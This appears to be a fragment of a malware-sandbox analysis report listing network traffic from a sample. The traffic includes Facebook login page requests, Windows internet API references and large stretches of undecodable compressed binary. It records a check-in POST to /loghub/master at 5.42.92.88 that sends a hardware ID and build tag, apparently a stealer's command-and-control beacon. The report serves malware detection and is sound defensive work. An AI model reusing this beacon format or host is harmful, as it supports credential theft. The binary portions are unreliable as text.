Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: static.xx.fbcdn.netDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /security/hsts-pixel.gif HTTP/1.1Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5Referer: https://www.facebook.com/loginAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateDNT: 1Host: connect.facebook.netConnection: Keep-Alive"; in File: "SSL") Found requests in header "GET /rsrc.php/v3/yl/r/BQn1Lzzcmjv.js?_nc_x=Ij3Wp8lg5Kz HTTP/1.1Accept: application/javascript, */*;q=0.8Referer: https://www.facebook.com/loginAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: static.xx.fbcdn.netDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /rsrc.php/v3i7M54/yv/l/en_US/uwjyy7pmA-B.js?_nc_x=Ij3Wp8lg5Kz HTTP/1.1Accept: application/javascript, */*;q=0.8Referer: https://www.facebook.com/loginAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: static.xx.fbcdn.netDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /rsrc.php/v3/yM/r/SeW64FDUgJN.js?_nc_x=Ij3Wp8lg5Kz HTTP/1.1Accept: application/javascript, */*;q=0.8Referer: https://www.facebook.com/loginAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: static.xx.fbcdn.netDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /rsrc.php/v3/yG/r/rAl2Hl1fQTa.js?_nc_x=Ij3Wp8lg5Kz HTTP/1.1Accept: application/javascript, */*;q=0.8Referer: https://www.facebook.com/loginAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: static.xx.fbcdn.netDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /rsrc.php/v3/yh/r/bpW4eEg-2_W.js?_nc_x=Ij3Wp8lg5Kz HTTP/1.1Accept: application/javascript, */*;q=0.8Referer: https://www.facebook.com/loginAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: static.xx.fbcdn.netDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /rsrc.php/v3/yU/r/O7nelmd9XSI.png HTTP/1.1Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5Referer: https://www.facebook.com/loginAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: static.xx.fbcdn.netDNT: 1Connection: Keep-Alive"; in File: "SSL")59:T49b,Found reference to API "WSASend" (Indicator: "WSASend"; Source: "00000000-00000488-00000C26-45065968") Found reference to API "WSARecv" (Indicator: "WSARecv"; Source: "00000000-00000488-00000C26-45067557") Found reference to API "HttpOpenRequestA" (Indicator: "HttpOpenRequest"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API "InternetOpenUrlA" (Indicator: "InternetOpen"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API "InternetOpenW" (Indicator: "InternetOpen"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API "InternetOpenA" (Indicator: "InternetOpen"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API "HttpSendRequestA" (Indicator: "HttpSendRequest"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API "InternetConnectA" (Indicator: "InternetConnect"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API "InternetReadFile" (Indicator: "InternetReadFile"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp")5a:T418,Found string "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=ZAzjt20h7YjrXpmq90biContent-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.88Connection: Keep-AliveCache-Control: no-cache--ZAzjt20h7YjrXpmq90biContent-Disposition: form-data; name="hwid"QjIyMDJFQ0Q2NUJEMjM3NTI2MTQ0Mw==--ZAzjt20h7YjrXpmq90biContent-Disposition: form-data; name="build"Z3JhYnM=--ZAzjt20h7YjrXpmq90bi--"; File: "PCAP") Found string "Content-Type: multipart/form-data; boundary=ZAzjt20h7YjrXpmq90bi"; Source: "00000000-00000488.00000000.67644.00280000.00000004.mdmp, 00000000-00000488.00000001.67961.00280000.00000004.mdmp") Found string "Content-Disposition: form-data; name="hwid""; Source: "00000000-00000488.00000000.67644.00280000.00000004.mdmp, 00000000-00000488.00000001.67961.00280000.00000004.mdmp") Found string "Content-Disposition: form-data; name="build""; Source: "00000000-00000488.00000000.67644.00280000.00000004.mdmp, 00000000-00000488.00000001.67961.00280000.00000004.mdmp")5b:Tcf75,"GET /login HTTP/1.1Accept: text/html, application/xhtml+xml, */*Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: www.facebook.comDNT: 1Connection: Keep-Alive" "HTTP/1.1 200 OKVary: Accept-EncodingContent-Encoding: gzipp3p: CP="Facebook has no P3P policy fb.me/p3p"Set-Cookie: sb=cSozZauj9GASX4z0SI7GJJqp; expires=Sun, 24-Nov-2024 01:33:37 GMT; Max-Age=34560000; path=/; domain=.facebook.com; secure; httponlySet-Cookie: fr=0fO88iHKuO5oNKzTl..BlMypx.e8.AAA.0.0.BlMypx.AWVEr7ek7Z8; expires=Fri, 19-Jan-2024 01:33:37 GMT; Max-Age=7776000; path=/; domain=.facebook.com; secure; httponlyreporting-endpoints: default="https://www.facebook.com/ajax/browser_error_reports/?device_level=unknown"report-to: {"max_age":259200,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/?device_level=unknown"}]}content-security-policy: default-src data: blob: 'self' https://*.fbsbx.com 'unsafe-inline' *.facebook.com *.fbcdn.net 'unsafe-eval';script-src *.facebook.com *.fbcdn.net *.facebook.net *.google-analytics.com *.google.com 127.0.0.1:* 'unsafe-inline' blob: data: 'self' connect.facebook.net 'unsafe-eval';style-src fonts.googleapis.com *.fbcdn.net data: *.facebook.com 'unsafe-inline';connect-src *.facebook.com facebook.com *.fbcdn.net *.facebook.net wss://*.facebook.com:* wss://*.whatsapp.com:* wss://*.fbcdn.net attachment.fbsbx.com ws://localhost:* blob: *.cdninstagram.com 'self' http://localhost:3103 wss://gateway.facebook.com wss://edge-chat.facebook.com wss://snaptu-d.facebook.com wss://kaios-d.facebook.com/ v.whatsapp.net *.fbsbx.com *.fb.com;font-src data: *.gstatic.com *.facebook.com *.fbcdn.net *.fbsbx.com;img" "-src *.fbcdn.net *.facebook.com data: https://*.fbsbx.com *.tenor.co media.tenor.com facebook.com *.cdninstagram.com fbsbx.com fbcdn.net *.giphy.com connect.facebook.net *.carriersignal.info blob: android-webview-video-poster: googleads.g.doubleclick.net www.googleadservices.com *.whatsapp.net *.fb.com *.oculuscdn.com;media-src *.cdninstagram.com blob: *.fbcdn.net *.fbsbx.com www.facebook.com *.facebook.com https://*.giphy.com data:;frame-src *.doubleclick.net *.google.com *.facebook.com www.googleadservices.com *.fbsbx.com fbsbx.com data: www.instagram.com *.fbcdn.net https://paywithmybank.com https://sandbox.paywithmybank.com;worker-src blob: *.facebook.com data:;block-all-mixed-content;upgrade-insecure-requests;document-policy: force-load-at-toppermissions-policy: accelerometer=(), ambient-light-sensor=(), bluetooth=(), camera=(self), geolocation=(self), gyroscope=(), hid=(), idle-detection=(), magnetometer=(), microphone=(self), midi=(), payment=(), screen-wake-lock=(), serial=(), usb=()cross-origin-resource-policy: same-origincross-origin-opener-policy: unsafe-nonePragma: no-cacheCache-Control: private, no-cache, no-store, must-revalidateExpires: Sat, 01 Jan 2000 00:00:00 GMTX-Content-Type-Options: nosniffX-XSS-Protection: 0X-Frame-Options: DENYStrict-Transport-Security: max-age=15552000; preloadContent-Type: text/html; charset="utf-8"X-FB-Debug: ZLed0+ugEuktpZ0f6sLmFV+K4QUsxEJfNmZTIv0STltz8kBt+lE63fDmfmqbPBmSZHG1xovEfFKWvWiPGljMtw==Date: Sat," "21 Oct 2023 01:33:37 GMTAlt-Svc: h3=":443"; ma=86400Transfer-Encoding: chunkedConnection: keep-alive4504�ĽYo#Ͳ �>��9gZsH�ŝ�O��(Q$�E[�o!�*�L�6eUqQ�0�~2<~��^��l��`��w��a��ڸ��j�w�"�r��n�L�\C��O~��S�B�� [�\H(:r�S��GG��~1��Q��j��H��&2�@��)�TH(��b�=T�!Ow9(*E�ҟ~qJl7aZ��O��|6�5�.|�Ms!|I�G'�즹8�~��O__�r,��%��9xL=��xmcG8ѐ��@�x��u��G��%ךcS8��3�y^�A�2��,��@�a-�4È�2FnX�q�2�\�,�� p��$��щ�k��a:"�X8)d2��̬�D��b�R1*�a#W"EF��@�+=I��Jv�/Z��~�e�W~9��K��}�!��>$ڇ��l��l ��G�5?��z)uz�~��j�!u�a��I�f�!�4k��i�")'��z��H��y��'7u�՝Qk�0�2ѤԢ�^^��;#�F�ݵ�w��K�e��Ij4�%�4�eZ�/6�f�k�@pl�Q��b�+�11vOӺ5%毒&KA�S��8>R�m�DA�� B=�9�'^ɵ,�%v��5q��j'\+1��NxvbI�YB��m��Q=6��c�Dug�b6��8�d:sOK�̷a��@`Ezx�|DLR%��_��}$J�@4�N�4��1Q��#�Ď�vS�V��i�5os�Mw+��@�K��F_|�w�v/!�$�v\��x�:�dE5�M즩C�c{f��H�t�gM{9:�˴�msz[�ҭ��9�P��Q'�vVN~t��W�K�v8�g��,b�]S��\�K��I�tgp/(�%�L��X�\��@�vF�)�\\��W�Ǭ�CW�rf��dqPLO��(��L�M�G�0�h�Ǩ�ѵ2єS��t�D�}{��S�ɼ)\��U��}�qse�v>��Mz��~P�:`z:>]��x}*�C�C�T[֭i2�g��c��S1�ģ%',�p�+a��M��vp%�Nlz��S[�-��rQO�l&_��+b��2M��N=~�Kf�yI�)�q�-��, ��Fw�}H}�V�}'��R�_)��~�){BkK(P�^!C,�~�Aרx�u8�l�l�vjk��L��a�@؏N\cPc� /ќ=F)��h�ˀ�h��-T�^��O�;*�F��L&BQg�ی��.�Do��cf�� 2�P ��R��e�Y��*��-к �jB��SEYU˰��ⴿJmȼ��b��w�iO��_�X�4��m�>��}�! �/K�3��_��2��\)�)d��r�\�@|�68?��0��Yf.>t=�%��>Xt��XK��'ֱ�9X��h�}~SM`��|��W�4w�=.��(ȣ��(��c��E��v�Ⱦ�~~��?�%�o7�K�l��7!?��!MҨ=�M��MMc��P�ǹJ��X*��;\�/kU*��w�K��|W+[*??Q&W��V�2gɷ��3%�h�7ʔ��2bV,��ïw�r�p�R��/@�w��bp��o+�=Owm��'O��|x��2�Il�M@�"~��KR�D6��e�ڟ�O�r"<�=��z��E�!��z�>�u�z��uI��+@_�#��n�=�{8��K�n*?z:�=��ÿ��a_��G�I.�g��;~쏍��{�p��M7��tsw�z:��ދ��W��ʇp/s�L�ϰ�7)��n�b��4}j��֣�k��V_�<��t<��"��V[C��V�۪�>��K�{i��s�j��!��W��" "M��A�O�oO�Ct<��F�)��M�Cz��<�kW��}~V��!�v��^\��m��V��.jW�p3'O�1坸/��)�[��w�Dn�rO՟��yHw[�q��Z��^Ŭ��4��)�عj?�}��Y�ݸI�B��|\�K�QM�ё�e�}��y!��#c�e�9GK��>��&2��^��Ϥ�=��=,,EZ?��[�](�i�7�d\�dd��gZ8K�c�1�x��t�Irղ��׳W��˕[ݙ��}K��m^��}��Y�u�3p7��|y�� B��)"�'��T��݃�F��u�V4��E��-r��4;8?��w�&�et\��U�6�Ժ=D�c��|7�5�y��vZ�*q�{T��=U�a�x��K��"��6BL��X�f�A�k�t][��ӡ�΁��.��k�6��CtLQ��Tz_�e�ؠc��s��D��u��t��<�ы�ѩ�G%m�[T�˹��Ř-Q߭��l��l־k\�/K��A��q2�M2��"U>�Ɇr��g�j��}gO��'��w�٬�+��ڬ{�� =k��n&��Atꮦ�{�fɔW��68KO�U�M�!v�a�a��y�kDS��nw.UN�ņv��!��<��MS+��sF��c��a��H�6s�L�t8�FF�(�3O�Ct��kf��',��X�k�q\,j�Ct��Z�<��e��t��y��J^��w�宷�x*/�^�n��!:��!��)��VE)��f�釐�v�nuٶ��޼U�|��CZ[\�on��tp%��w��~<�i�w�߉�+K��J�er��!��V��?a�V[��)Vr�V��٬��{q;|�М�Jɐ�[�p/��n�d�|��ڙ��=��{��~��8�V��:j��9�8ĕE��NPt�[��c|�:Rq:Jf��x�X�K�۸B�qBn��/�G�U�!��9-/�/��Y}�4ܡ�9{��*z", "Q�u~�B�2d��s�xI�(��+�~��{�4��h��]�߭��^�9��Yݯ��B¾��I�<�[Ұ~qY�lw!�D;�=�w�&��pǍ��6��T=D�M�x�z~?a,�2�ċ�x��~��(?x��d�!ݹ,�&7jY\��p�Ԧ��ۏ�=�Z��^~^Y=U1�̓co��=��n2��T+�'��+��A2H�!}�8�)�|��n��k_H�C]��y��ݸIWg��A|(��,ݢ�Au<�t��_��x_�;��Ira�44$Dg4�'&��i�(�?)��SG��BgE�G1�(�(&;��dxV�X��3^�Xe/�0��?p��c�6^`�F-�5�Q��H��KDM�C�MP��FG��z��A��+��ҁfC�B��&�ً�Q��HN��X�K�hb��MA�k�)�~:��߃�eݷ�/�[!Սg�0�8_��ҷ�pR��뱇��I��?2�*�3�i�"eΞV�Q��3˵�hZ�mj-��H��"�@G��ԉ��N�;��cu�=ƅ!BLO-ֲ�[Fa{Q�\\|��xׅ�fq�"��Y�EL�b��b��2��"n��(�$��1�P�(0!.zA�@�Mm�G[��!M6�rl7�P�;��f��m�EqѶX�1up��H�>N\�=��L��nC��ߣ�ԁ�<�#�u�:�?��@�F�w�^�;��=��i|�؊FT��=l��F��}*7t��E-p��&K��i٧��Q/��xG�,��-�} ��l��", "=Fӱ5�&y�k(D�8l��{��j\c��Wh�۱ف��P4��8G��7H~߰�7Q�V�X�N"��}J��a�f�F�>�G砲��~��6Re�)��1}��VQ� ��UB�T�_º�!;�uss��."��G8pW�o��+?j\L��5�=�'��ZL��\>��yc��x�r��Y{�-��b�YK�}µ��k�HE�Q$\��D*(?{�7q��*.H͕�mH��G��`��6��)��ޫ~��s��z"�?�Y��2!SY:{y��`?$�<��X��"�.D��WL�w��=��_I��M5��m��j�R�\�я�둷{g��ޣ��m6ᓼ�ܚ�a��np�M"��f+�(�u+�n�雍�%{>�t��A�ui$�Ѱ��qM��h�7�E�B4���p�Dsd�U��+��o�p�'��@a�d�{�u�h�9�/��>:ѽT*ֈɟ��1�XLr��I�#�%�R��R�.9A}3W�w��`=)??�ZI��6>)��tS�%�|U8��H�[gj~ےPg�W�8�e�p6n��k�b��]n��Ҽp9]��j䵫Fev6��jѹ�k�M�K5��F�}��m*�D2m#�ig�ٸ��J�N��?{Φ&��{��쳃o�ƕ5��m�ʩz��f��L�z��U֨=D�mt��ze� ՞��G)_�(��%'eN�n��O�u��%3�^�V�vN��r�z��X4jS�v1��ns��v�/�,��:�^<=�φN��g*/��V�ܙ�n��;c=�ޮ��(!�g�A{a�V�x�Ў~Sp<��d#��DF��Q=�-�9X�X�LK�l{��<�/�ڑ��3,�X��gB�ĥNQUK�U�e��N*�U�Ұ��b�/�M�V\��3�1�{9>�D`v&q"��T��g}"l1��c�/P��'��}/�.T'�M��ْ��+��c.6�)g��H=F�j��'�%4�(掑�!j��HeV�_��k�b�ZF��ׇ��j�xo�a�D�1��K2[��%)�u��t�Y��~(�B��2%��m��%x�=)~I�+��(��kų��%��4{.��"n�ڟ��Jj��䋬d�u�<��X9Q��=|ww�\)#�E�Xa�z��ֈ��$|��ry��l�Q._PK9��2�̜��I��5��k�o,:ǴE�&�U,p�G@`��`y�6��i`��N��"��of3A�R�9 ��q��M��{��V3W�k��]�߈��Pi ®��ˬ��_R�q��*Ö�*�b��ˉT��9�W`�c�]h", "��/��-^I�Θ�k��\��,��j��C�`w�m}sb��#l�|I~�*H��WJp.�Z�U�C��-x�x�-߭�&��T�)�[�c�Q�,:1�Mg.+��(�w��D�G`xm_��Zwm��`׳X�SuV;^Үz��zʲ]�kx�2ƪ��˪�/I�X)�ٌڌ��f�؄'�@:�^�L9|)+��&��n��V��W��.��/ɭ� ^�L��U�=��@lO։�>��U�H+�2bF T�\6�)�d��2%'j��rN-�K�JFƢ��l� �s��I��0�o��zm�2^�C�q�1�+�op�{S;��:U�7�;��F�X8|Y`c��avKщ�`��x�Hdy�"/xo{i��Ylz�G�{�>�i#��+?c{R��m�;��{��6�$�#!7��il*�6�d��-��r��p!<)�tѪ�kҝ��/&?C�d�w��̣��^g)3�^ظ�f�0��/�e�\NG��z��סg[fU��0��s��-��/b��ڴ�1��8X*ۧKb��Ɣ�a*��?�Ǧ��.1�9�~�hA�D3K��ܠ:��p��ת��ցe{��аG/_�>}��$�L�ƭ�ߨ��Ħ�[��ﱓB3)�ȥו��IHgo��bX/�_9��@Ω��ц+�~�߼�(kg��_�m�f_֗S��1��v�r�<�W��_�:�ygN�\�ݿ�U��7׏)Q�˵��\�h٠&<�s*��C��4�^�u!�6�ߞ��ZO��%i��y��\��z�+�m5_w-S�[��2�i�O:��ݼ�3)|�~�)�7~�_͢n�T{��.ᓯ��{Ό-hu�:r Ƙ�� W��S@��|^��O�;<��=S��r!ja�~��W�Ǳ�5�b��ӱ[��,�A#�r�2,$M��M��A��TD��a��$|�ߞ��%9'�cQ��^�);bv�-�h�1�5��ph�u�V�kR�I��pĞ!�d�:r`�#�o��K��L�:��|.�$g�O��d�>�{��+ŋ�s//P�G��~��v�7v�V�6��Gܾ!]��]��N�P�V�Y�\.�LQ ��S��", "7f8�][s۶�/|FFo"9=�X��Q_N�4i"!�1E�K�迟�(��$i��]�~��a��x8��m�f&4ь��;9�"Un�Oz!s�X��T��q�ap6Y��X�*7H��L� ��k9�JN��f�C(m8lI�Z�� )2e��e�L^..��~�>��na~�:�#R�3QqUH[�̋:��<��|��T�*LY��5*(�Q��2\��k��F��\)�kw��2��:��w�5PM�g��w�pK�(�@M��n?h�};�&�K��,��qK^!~��1�4��??q��<�Bh��M��9��3�i��)�@��yX�4b_�3ݳ��\�OǣWh(��!a��G��FYo��wo�:��1�ˁ��q4�6��ٓN^&R"8�{��IX��*[�M�E��4�Y�&a*!4�Y�"(k%�_΅I`�L��I�T��y�x��*��јsU�ߤ��gn֒�n��;��*5��-��L��h㓛��Rꕂ�}��Gů��N�+��q�ҭ�l�k�h��*G�/�Miؕ�C�ӳ'B*��m�#�s�*�4Wr��D�M��^4��5��~3Fcץ1L��e9�K1�e9��0�vV�a��wbr�0DGBfXtH☭��,�.sX��Xx/�7�f��'x-g��{q.�R??�F"�\?B�+U$N��޳�h��[*��'�ѽ_��'�Ü-��o�;�@�OD�4��70��ysi�pɆ�&Wu�ġ)V8�϶�I�-a>6�.Kլ#��3��:�[��z~hL�Hl@��zTul��%�:7 x��:�w��Hn�� h�y�k�-c�BX�@��H1cQ��!d2�J>!��[��Ƃs�m��TC��渇�[��#�v��!��q1� ��zP��U��V��^t�8/��0�iD=? ��#x�=\"/�(�H�%�.�uI�K]2$A�"�@��Q�d]E��$�!�n2�uR2�9�+��脑��m��'X��]��d>�&Y��$K�aR$%�ȓW��YidѰ�~q#jUdx%ޜ8�p�=@r:l7�p�>q*��pc�C"lD1��er�\k!PX��Ɛn�^�ż�y67-D��\�-��6��", "�A��Et�}�!D\��:m�?��m-l��=�G4B$WvKn�.�M�0��6de��Al[LL᠀�/?�ar'%ne��\��\dOz4��]7Q2��fc��;{+7��WlP��_~w��!X�N��8�N��[��}6�u+�m?�*�(��Ԁ v?A�g��3f�Mb��S�5806�{u��z3��V�zR�d��P)��fЍ�j�X�jV�Z�zA�4��(�?�8�?�`��m��98�LNZ��֣1��J��j����bS��.dujh/�B��^ٲ��,��5�ȇ�D3yY�nBnw�[iG��˖�-y�m��ؒo�3 7|��|��|ؔɋ�yp�Z��5u߄�z��ֿ��u��;��%U}��!��ُ+�ȫ�wc?/_-�_U6��_��2�S��|7��Gq.�*;�n=��/��&M�m/ڶ��^�?uͱ�2��^�Ǿ۟z�o~��7��5��0", "POST /login/device-based/regular/login/?login_attempt=1&lwv=100 HTTP/1.1Accept: text/html, application/xhtml+xml, */*Referer: https://www.facebook.com/loginAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoContent-Type: application/x-www-form-urlencodedAccept-Encoding: gzip deflateHost: www.facebook.comContent-Length: 392DNT: 1Connection: Keep-AliveCache-Control: no-cacheCookie: fr=0fO88iHKuO5oNKzTl..BlMypx.e8.AAA.0.0.BlMypx.AWVEr7ek7Z8; sb=cSozZauj9GASX4z0SI7GJJqp; _js_datr=cSozZecQgUoy4ULE1BnVdDBKjazoest=21007&lsd=AVoXMiQhmJk&display=&isprivate=&return_session=&skip_api_login=&signed_next=&trynum=1&timezone=&lgndim=eyJ3IjoxMDE0LCJoIjo2OTUsImF3IjoxMDE0LCJhaCI6NjU1LCJjIjoyNH0%3D&lgnrnd=183337_0OCc&lgnjs=n&email=&pass=&login=1&prefill_contact_point=&prefill_source=&prefill_type=&first_prefill_source=&first_prefill_type=&had_cp_prefilled=false&had_password_prefilled=false&ab_test_data=", "HTTP/1.1 200 OKVary: Accept-EncodingContent-Encoding: gzipp3p: CP="Facebook has no P3P policy fb.me/p3p"Set-Cookie: datr=cSozZecQgUoy4ULE1BnVdDBK; expires=Sun 24-Nov-2024 01:34:56 GMT; Max-Age=34560000; path=/; domain=.facebook.com; secure; httponly; SameSite=NoneSet-Cookie: _js_datr=deleted; expires=Thu 01-Jan-1970 00:00:01 GMT; Max-Age=-1697852095; path=/; domain=.facebook.com; httponlySet-Cookie: fr=0fO88iHKuO5oNKzTl..BlMypx.e8.AAA.0.0.BlMyrA.AWXrZWUE02k; expires=Fri 19-Jan-2024 01:34:56 GMT; Max-Age=7776000; path=/; domain=.facebook.com; secure; httponly; SameSite=Nonereporting-endpoints: default="https://www.facebook.com/ajax/browser_error_reports/?device_level=unknown"report-to: {"max_age":259200 "endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/?device_level=unknown"}]}content-security-policy: default-src data: blob: 'self' https://*.fbsbx.com 'unsafe-inline' *.facebook.com *.fbcdn.net 'unsafe-eval';script-src *.facebook.com *.fbcdn.net *.facebook.net *.google-analytics.com *.google.com 127.0.0.1:* 'unsafe-inline' blob: data: 'self' connect.facebook.net 'unsafe-eval';style-src fonts.googleapis.com *.fbcdn.net data: *.facebook.com 'unsafe-inline';connect-src *.facebook.com facebook.com *.fbcdn.net *.facebook.net wss://*.facebook.com:* wss://*.whatsapp.com:* wss://*.fbcdn.net attachment.fbsbx.com ws://localhost:* blob: *.cdninstagram.com 'self' http://localhost:3103 wss://gateway.facebook.com wss://edge-chat.facebook.com w", "ss://snaptu-d.facebook.com wss://kaios-d.facebook.com/ v.whatsapp.net *.fbsbx.com *.fb.com;font-src data: *.gstatic.com *.facebook.com *.fbcdn.net *.fbsbx.com;img-src *.fbcdn.net *.facebook.com data: https://*.fbsbx.com *.tenor.co media.tenor.com facebook.com *.cdninstagram.com fbsbx.com fbcdn.net *.giphy.com connect.facebook.net *.carriersignal.info blob: android-webview-video-poster: googleads.g.doubleclick.net www.googleadservices.com *.whatsapp.net *.fb.com *.oculuscdn.com;media-src *.cdninstagram.com blob: *.fbcdn.net *.fbsbx.com www.facebook.com *.facebook.com https://*.giphy.com data:;frame-src *.doubleclick.net *.google.com *.facebook.com www.googleadservices.com *.fbsbx.com fbsbx.com data: www.instagram.com *.fbcdn.net https://paywithmybank.com https://sandbox.paywithmybank.com;worker-src blob: *.facebook.com data:;block-all-mixed-content;upgrade-insecure-requests;document-policy: force-load-at-toppermissions-policy: accelerometer=() ambient-light-sensor=() bluetooth=() camera=(self) geolocation=(self) gyroscope=() hid=() idle-detection=() magnetometer=() microphone=(self) midi=() payment=() screen-wake-lock=() serial=() usb=()cross-origin-resource-policy: same-origincross-origin-opener-policy: unsafe-nonePragma: no-cacheCache-Control: private no-cache no-store must-revalidateExpires: Sat 01 Jan 2000 00:00:00 GMTX-Content-Type-Options: nosniffX-XSS-Protection: 0X-Frame-Options: DENYStrict-Transport-Security: max-age=15552000; p", "reloadContent-Type: text/html; charset="utf-8"X-FB-Debug: mkr3+vPovPvOA/ooKxQDfc5NddSnKdSPOlWKVwRdM5wSJA5Mtgjh/FMgtEBWeOX3USDZQyWUScwc1dIO6n1FWw==Date: Sat 21 Oct 2023 01:34:57 GMTAlt-Svc: h3=":443"; ma=86400Transfer-Encoding: chunkedConnection: keep-alive45db�̽Yo#Ͳ �>��[sH��;՟��M�(�"��շ�U�E�X��`��?��O�zx`�À�8�v0\��?"�6.jv��|�^$Vn��_5��ݠ��z��R�&��ю�X�홐R�ǂeˏ��1�>�lb��)�.��3!��-d�c�bS��Rm�Öw hXG��qPT�e?�쪔8^ʲ-OC��{S��Jak�2|w�|��w��gݦ�戦��R�@��~:F�O/bi��'�P�Eϫ_��}��\��V��Mk~��?��D��K��g�w��p�#��i��!vl��-c@�h�˞=Öp$�n��<��|[��Ŧ=��#�)yQ}�C�L�(R�l�x�Q^L1�k��u5�g{B��D�臖�x��Y��2��-.[Pu�%��9&�@�\~�Q6�z�#��ry�+�fZ��R��ٕ��bϞ��tr'�k�Z�6��t��y�X�� ,E�q,��":v�Y��봚��΅Ԕb�X�j�Cٰ`VH��v]��a�ʨk��2�@�g`֠�&x_�=I˳��s��[놆�V ��@}�*c6(S�QbMR�Ҡ��U>��^�>x:�#��4+�`�10H�,{qSӡ��:�ɑK<,��CkUֵD��bqA��m�M��ڰUd$QŖ|5�්,�"*2B��Aq��&@�7kQ�WJ�f�", "��n�+�,-�Mo��c��K/��a��͝b�}$,լ��LF��s�:֋�C�u�-U^w�7NŘϟ�wF�mϰ��if��0��I��'4Q�楨�\�k��߆f�>u��/��mMݹ�/&jkn��FSq�|�/�f7�f�{1^��k��д��_�U�ŝu5p��~�Jq�4u�Ds�@��cFҿ��qo�_p4#ե�7�Q��GJ��7@/��Ӆ�mG�p��V��)r=<�Xn�)/|JG��y��<�"K3�ςj8��gA��+R!?�p$�W8�^�B�R�o%J�P)F�YJ�R��a��[��&�e�T.U�eV��W^@��%-��J��~��$��jao1��/��b�\��5)W��[��Ŋ��b/i�Ǥ)��//��9;&&�¶c:��F��1=%9�I��-�|wpK��uba��Ǡ�Ȗ��)�y-�HxZLԛ%S@]o��:��5��T�>�?磺m�dT��H�]�G��Չ��o��ո?l��ѩ�=��r�W;�6��]�><��W�J�}�_׺�FXc�Ԇ�qS�h�F�6P�޿��ǝ��N��My�^��Э�Ƚ昑�1�fm��X��Fc�!�Ȯ�F��d��q�?��G��հ2:�/j��I��P7۸4߀0�:��ً�ݔ��~Wn�s�~ڬ�˭�F�5��6Wl�A��ܹ��Z�9wF͡|�i3��cd�s/wz'�[y��Wy�Ƚ�u��h)�\��V�VH�~��E��޿�4��|R��Xk�AM�{�n� ˰߿��Ƶ6cʸ֖{}��AR��r�֭��^��^S:��۝[��B�WSqsU=��Pn�;϶[�=L��y>�/�7z��#(T�O��\EIͯ��'w��(�ɶ�;s��J�20�}{�t\�VF��\{x}[��BN�>��v��n&�ק��~]H�W�k�;-p��M��';�"S8Z��as��j�Ǉ��|�w�'�ݸ��j�g��܆ex�^�M�w�3R��^\݁��>~zI�F>��f{��%GR�Z�sb��]o��D�R�,�E\:��K�X-��հۢhbb�Pl��:9�$��d�5B��G�qZ�)��H�A�`(1��ɜ�]7p��4�Z�<�S��uX?;O)_�2�7��%�w�c�+�!��9�>��6��K��3c�s��s��E�7�^ҥB�W�)ŖW�j�j��i�!��\��W��iG��+\�N"�}�tL�üXN�!�(�܏9QLE�S��)6�z�)��Ӹ(ӂKly߉[v۾'��m=]9#;��3��V��xu߳u�cix)�r�bZБ��7mٴfP��H�`�q�cD�0l��5e#¤P�m��C�ؐ)0��%P$��P�b��`Us�jn��#��s��0@>�J!j��3��y��*� �\.o�j�a۳��.U��|Md��s�XH蚺m��E�Ֆ�yI�lfJ6�9��:�P�i�z ��Q��ar0>6�9R�F:�\M(2w��l��9S��g�ڕ��H_��n�L�P�i��3U��O��17]ْ7-tFr�84��~/T�z��^�6��,��V��<��e0#��a4j��͡��u�؂'��h2��n��l��^\kwS�Z�+�� Kr�w-��b)W�ĂX ��Z�Q�txI��L��Q{�Q�\c��$L��Y��p�ھ� ��UE��̊��9qa?�@�|E��ܣ �ݙ�Q2��Tv��C�Vg6�U{j�y#��V�;�'�ò�]ޠ UKE�0.r�;�C�:P�RT�x��bv~�O$î��S"��.�_��T�7J��ac[�LT<[��maAI<@]�zF�S�(��T2dN�8�x�Qk��ă؅n�s�\N��R>�Ah�BZp�I�=��Ί!��ΌwF�j�b��!'ck.�ia��d�˰��*lˡ�3a�;@�BVj�d�6�D"HU�#��5��537-̉=��aY<̗@>%��F%�v�=��&ّ��m�LLk�f��"K�M<'Ib�$(��L�X�j/ 